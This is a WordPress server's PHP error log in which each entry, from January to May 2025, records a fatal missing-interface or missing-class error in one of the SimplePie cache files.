[16-Jan-2025 07:50:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[16-Jan-2025 07:50:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[16-Jan-2025 07:50:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[16-Jan-2025 07:50:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[16-Jan-2025 07:50:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[16-Jan-2025 07:51:00 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[16-Jan-2025 07:51:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[16-Jan-2025 07:51:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Feb-2025 01:48:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Feb-2025 01:48:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Feb-2025 01:48:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Feb-2025 01:48:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Feb-2025 01:48:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Feb-2025 01:48:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Feb-2025 01:48:24 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Feb-2025 01:48:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Feb-2025 01:48:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Feb-2025 02:38:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Feb-2025 02:38:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[02-Feb-2025 02:38:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[02-Feb-2025 02:38:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[02-Feb-2025 02:38:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[02-Feb-2025 02:38:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[02-Feb-2025 02:38:05 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[02-Feb-2025 02:38:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[02-Feb-2025 02:38:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[22-Feb-2025 06:18:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[22-Feb-2025 06:18:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[22-Feb-2025 06:18:07 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[22-Feb-2025 06:18:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[22-Feb-2025 06:18:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[22-Feb-2025 06:18:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[22-Feb-2025 06:18:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[22-Feb-2025 06:18:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[22-Feb-2025 06:18:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[22-Feb-2025 06:26:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[22-Feb-2025 06:26:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[22-Feb-2025 06:26:42 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[22-Feb-2025 06:26:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[22-Feb-2025 06:26:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[22-Feb-2025 06:26:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[22-Feb-2025 06:26:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[22-Feb-2025 06:26:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[22-Feb-2025 06:26:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[29-Mar-2025 10:09:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[29-Mar-2025 10:09:22 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[29-Mar-2025 10:09:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[29-Mar-2025 10:09:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[29-Mar-2025 10:09:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[29-Mar-2025 10:09:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[29-Mar-2025 10:09:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[29-Mar-2025 10:09:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[29-Mar-2025 10:09:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[13-May-2025 09:53:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[13-May-2025 09:53:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[13-May-2025 09:53:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[13-May-2025 09:53:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[13-May-2025 09:53:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[13-May-2025 09:53:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[13-May-2025 09:53:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[13-May-2025 09:53:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[13-May-2025 09:53:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[13-May-2025 09:53:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[13-May-2025 09:53:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[13-May-2025 09:53:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[13-May-2025 09:53:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[13-May-2025 09:53:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[13-May-2025 09:53:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[13-May-2025 09:53:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[13-May-2025 09:53:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[13-May-2025 09:53:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[13-May-2025 09:53:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[13-May-2025 09:53:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[13-May-2025 09:53:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[13-May-2025 09:53:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[13-May-2025 09:53:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[13-May-2025 09:53:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[13-May-2025 09:53:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[13-May-2025 09:53:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[13-May-2025 09:53:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[13-May-2025 09:53:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[13-May-2025 09:53:29 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[13-May-2025 09:53:29 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[13-May-2025 09:53:30 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[13-May-2025 09:53:33 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[13-May-2025 09:53:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[13-May-2025 09:53:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[13-May-2025 09:53:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[13-May-2025 09:53:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 12:04:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 12:04:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-May-2025 12:04:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
